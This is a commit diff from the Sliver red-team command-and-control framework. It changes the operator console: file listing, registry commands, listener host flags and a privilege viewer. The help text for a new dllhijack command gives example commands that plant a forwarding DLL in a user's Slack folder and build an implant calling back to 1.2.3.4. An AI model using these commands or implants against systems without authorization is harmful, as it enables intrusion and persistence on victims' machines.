msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: args,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
@@ -277,11 +273,11 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(args, " "),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
@@ -302,15 +298,16 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: args,
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
+6 -1
View File
@@ -20,6 +20,7 @@ package filesystem
import (
"context"
"encoding/hex"
"fmt"
"os"
@@ -66,7 +67,11 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
} else {
con.Println(string(download.Data))
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
+1 -1
View File
@@ -25,10 +25,10 @@ import (
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
+118 -6
View File
@@ -22,8 +22,11 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintWarnf("%s\n", err)
} else {
PrintLs(ls, con)
PrintLs(ls, con, ctx.Flags, filter)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
+48 -1
View File
@@ -88,6 +88,7 @@ var (
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
// Loot
consts.LootStr: lootHelp,
@@ -234,7 +235,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -608,6 +633,28 @@ reaction set
[[.Bold]]Examples:[[.Normal]]
# Remove a reaction
reaction unset --id 1
`
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
The planted DLL will have its export directory modified to forward the exports to a reference DLL
on the remote system.
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
supplied with the --profile flag.
[[.Bold]]Examples:[[.Normal]]
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
`
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
)
+2
View File
@@ -37,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
+2
View File
@@ -29,12 +29,14 @@ import (
// HTTPListenerCmd - Start an HTTP listener
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
+2
View File
@@ -31,6 +31,7 @@ import (
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
website := ctx.Flags.String("website")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
cert, key, err := getLocalCertificatePair(ctx)
@@ -44,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
+2 -2
View File
@@ -28,12 +28,12 @@ import (
// MTLSListenerCmd - Start an mTLS listener
func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
server := ctx.Flags.String("server")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: server,
Host: lhost,
Port: uint32(lport),
Persistent: ctx.Flags.Bool("persistent"),
})
+1 -1
View File
@@ -38,7 +38,7 @@ import (
"github.com/desertbit/grumble"
)
// --- Loot Command ---
// LootCmd - The loot root command
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
+109
View File
@@ -0,0 +1,109 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
if privs.ProcessName != "" {
processName = privs.ProcessName
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
nameColumnWidth = len(entry.Name)
}
if len(entry.Description) > descriptionColumnWidth {
descriptionColumnWidth = len(entry.Description)
}
}
// Give one more space
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
con.Printf("Disabled")
}
if entry.EnabledByDefault {
con.Printf(", Enabled by Default")
}
if entry.Removed {
con.Printf(", Removed")
}
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf("\n")
}
}
+12 -4
View File
@@ -49,12 +49,20 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: regPath,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+77
View File
@@ -0,0 +1,77 @@
package registry
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
path := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.Subkeys) > 0 {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
}
for _, subKey := range regList.Subkeys {
con.Println(subKey)
}
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
regPath := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.ValueNames) > 0 {
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
}
for _, val := range regList.ValueNames {
con.Println(val)
}
}
+17 -4
View File
@@ -72,6 +72,10 @@ func getType(t string) (uint32, error) {
// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
@@ -93,15 +97,24 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You must provide a path")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath = regPath[:pathBaseIdx]
key = regPath[pathBaseIdx+1:]
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
Hive: hive,
Path: regPath,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+12 -4
View File
@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
switch valType {
case sliverpb.RegistryTypeBinary:
var (
@@ -118,7 +126,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveSession.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: regPath,
Path: finalPath,
Type: valType,
Key: key,
StringValue: stringValue,
+4
View File
@@ -0,0 +1,4 @@
Sessions
=========
Session related command implementations.
+1 -1
View File
@@ -4,12 +4,12 @@ import (
"context"
"errors"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"gopkg.in/AlecAivazis/survey.v1"
)
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
@@ -10,10 +10,10 @@ import (
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"gopkg.in/AlecAivazis/survey.v1"
)
// WebsitesAddContentCmd - Add static content to a website
+3
View File
@@ -199,12 +199,15 @@ const (
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
PortfwdStr = "portfwd"
ReactionStr = "reaction"
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
)
// Groups
-2
View File
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
case data := <-tun.Recv:
log.Printf("Read %d bytes", len(data))
buff.Write(data)
default:
break
}
n := copy(data, buff.Bytes())
return n, nil
+43 -42
View File
@@ -149,48 +149,48 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
// Copyright (c) 2009 The XGB Authors. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Subject to the terms and conditions of this License, Google hereby
// grants to You a perpetual, worldwide, non-exclusive, no-charge,
// royalty-free, irrevocable (except as stated in this section) patent
// license to make, have made, use, offer to sell, sell, import, and
// otherwise transfer this implementation of XGB, where such license
// applies only to those patent claims licensable by Google that are
// necessarily infringed by use of this implementation of XGB. If You
// institute patent litigation against any entity (including a
// cross-claim or counterclaim in a lawsuit) alleging that this
// implementation of XGB or a Contribution incorporated within this
// implementation of XGB constitutes direct or contributory patent
// infringement, then any patent licenses granted to You under this
// License for this implementation of XGB shall terminate as of the date
// such litigation is filed.
Copyright (c) 2009 The XGB Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Subject to the terms and conditions of this License, Google hereby
grants to You a perpetual, worldwide, non-exclusive, no-charge,
royalty-free, irrevocable (except as stated in this section) patent
license to make, have made, use, offer to sell, sell, import, and
otherwise transfer this implementation of XGB, where such license
applies only to those patent claims licensable by Google that are
necessarily infringed by use of this implementation of XGB. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that this
implementation of XGB or a Contribution incorporated within this
implementation of XGB constitutes direct or contributory patent
infringement, then any patent licenses granted to You under this
License for this implementation of XGB shall terminate as of the date
such litigation is filed.
======================================================================================================
@@ -241,6 +241,7 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
+3
View File
@@ -0,0 +1,3 @@
_site
.sass-cache
.jekyll-metadata
+24
View File
@@ -0,0 +1,24 @@
---
layout: default
---
<style type="text/css" media="screen">
.container {
margin: 10px auto;
max-width: 600px;
text-align: center;
}
h1 {
margin: 30px 0;
font-size: 4em;
line-height: 1;
letter-spacing: -1px;
}
</style>
<div class="container">
<h1>404</h1>
<p><strong>Page not found :(</strong></p>
<p>The requested page could not be found.</p>
</div>
+39
View File
@@ -0,0 +1,39 @@
source "https://rubygems.org"
# Hello! This is where you manage which Jekyll version is used to run.
# When you want to use a different version, change it below, save the
# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
#
# bundle exec jekyll serve
#
# This will help ensure the proper Jekyll version is running.
# Happy Jekylling!
gem "jekyll", "~> 3.9.0"
# This is the default theme for new Jekyll sites. You may change this to anything you like.
# gem "minima", "~> 2.0"
gem "github-pages", group: :jekyll_plugins
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
# uncomment the line below. To upgrade, run `bundle update github-pages`.
# gem "github-pages", group: :jekyll_plugins
# If you have any plugins, put them here!
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.6"
end
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
# and associated library.
install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
gem "tzinfo", "~> 1.2"
gem "tzinfo-data"
end
# Performance-booster for watching directories on Windows
gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
# kramdown v2 ships without the gfm parser by default. If you're using
# kramdown v1, comment out this line.
gem "kramdown-parser-gfm"
+286
View File
@@ -0,0 +1,286 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
concurrent-ruby (1.1.9)
dnsruby (1.61.7)
simpleidn (~> 0.1)
em-websocket (0.5.2)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.5.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0.1)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-patron (~> 1.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.1.0)
faraday-patron (1.0.0)
ffi (1.15.3)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (215)
github-pages-health-check (= 1.17.2)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
jekyll-readme-index (= 0.3.0)
jekyll-redirect-from (= 0.16.0)
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.7.1)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
